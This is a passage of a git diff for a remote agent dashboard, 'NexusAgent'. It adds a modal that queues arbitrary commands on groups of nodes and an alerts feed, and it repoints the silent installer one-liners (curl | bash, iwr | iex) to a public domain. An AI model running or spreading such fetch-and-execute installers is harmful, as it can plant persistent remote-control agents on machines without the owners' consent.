+function openGroupCommandModal() {
+ document.getElementById('groupCmdModal').classList.add('active');
+ api('/api/groups').then(g => {
+ const sel = document.getElementById('groupCmdTag');
+ sel.innerHTML = '
All nodes ' +
+ (g.groups || []).map(x => `
${escapeHtml(x.tag)} (${x.count}) `).join('');
+ }).catch(() => {});
+}
+
+function closeGroupCommandModal() {
+ document.getElementById('groupCmdModal').classList.remove('active');
+}
+
+async function submitGroupCommand() {
+ const command = document.getElementById('groupCmdInput').value.trim();
+ const tag = document.getElementById('groupCmdTag').value || 'all';
+ if (!command) { toast('Enter a command', 'error'); return; }
+ try {
+ const d = await api('/api/groups/command', { method: 'POST', body: JSON.stringify({ command, tag }) });
+ toast(`Queued on ${d.count} node(s) in "${tag}"`, 'success');
+ closeGroupCommandModal();
+ } catch (e) {
+ toast('Failed to queue group command', 'error');
+ }
+}
+
+// ── Alerts feed ──
+function renderAlerts() {
+ const el = document.getElementById('alertsFeed');
+ if (!el) return;
+ api('/api/alerts').then(d => {
+ const alerts = d.alerts || [];
+ document.getElementById('alertCount').textContent = `${alerts.length}`;
+ el.innerHTML = alerts.length
+ ? alerts.slice().reverse().map(a => `
+
+ [${new Date(a.ts).toLocaleTimeString()}] ⚠️ ${escapeHtml(a.message)}
+
`).join('')
+ : '
No alerts. All nodes checking in.
';
+ }).catch(() => {});
+}
+setInterval(renderAlerts, 15000);
+
+console.log('[v2] UI additions loaded');
diff --git a/public/index.html b/public/index.html
index e979ed3..074fc21 100644
--- a/public/index.html
+++ b/public/index.html
@@ -13,6 +13,7 @@
+
@@ -31,7 +32,7 @@
Server Endpoint:
- http://10.30.20.44:3000
+ https://agent.thetempleofdoom.com
@@ -53,6 +54,12 @@
Bulk Task
+
+ Group Command
+
+
+ Schedules
+
Add Computer
@@ -244,7 +251,7 @@
Recommended: Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.
- curl -sSL http://10.30.20.44:3000 /install | bash
+ curl -sSL https://agent.thetempleofdoom.com /install | bash
Copy
@@ -252,11 +259,11 @@
Compiled standalone binary executable (no Python installation required on target system).
- curl -sSL http://10.30.20.44:3000 /bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server http://10.30.20.44:3000
+ curl -sSL https://agent.thetempleofdoom.com /bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server https://agent.thetempleofdoom.com
Copy
@@ -265,7 +272,7 @@
Executes automated installer, configures systemd service, and starts background heartbeat daemon.
- curl -sSL http://10.30.20.44:3000 /install.sh | sudo bash
+ curl -sSL https://agent.thetempleofdoom.com /install.sh | sudo bash
Copy
@@ -273,7 +280,7 @@
Downloads Python agent to ProgramData and launches background monitoring process.
- iwr -useb http://10.30.20.44:3000 /install.ps1 | iex
+ iwr -useb https://agent.thetempleofdoom.com /install.ps1 | iex
Copy
@@ -281,7 +288,7 @@
Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.
- curl -sSL http://10.30.20.44:3000 /install-mac.sh | bash
+ curl -sSL https://agent.thetempleofdoom.com /install-mac.sh | bash
Copy
@@ -289,7 +296,7 @@
Download and run directly using standard Python 3 (No external dependencies required).
- curl -sSL http://10.30.20.44:3000 /agent.py -o agent.py && python3 agent.py --server http://10.30.20.44:3000
+ curl -sSL https://agent.thetempleofdoom.com /agent.py -o agent.py && python3 agent.py --server https://agent.thetempleofdoom.com
Copy
@@ -297,7 +304,7 @@
- Server Endpoint Pre-configured: All installers link to http://10.30.20.44:3000 .
+ Server Endpoint Pre-configured: All installers link to https://agent.thetempleofdoom.com .
@@ -519,7 +526,22 @@
+
+
+
+
+
+
+
No alerts. All nodes checking in.
+
+
+
+
+
@@ -542,3 +564,74 @@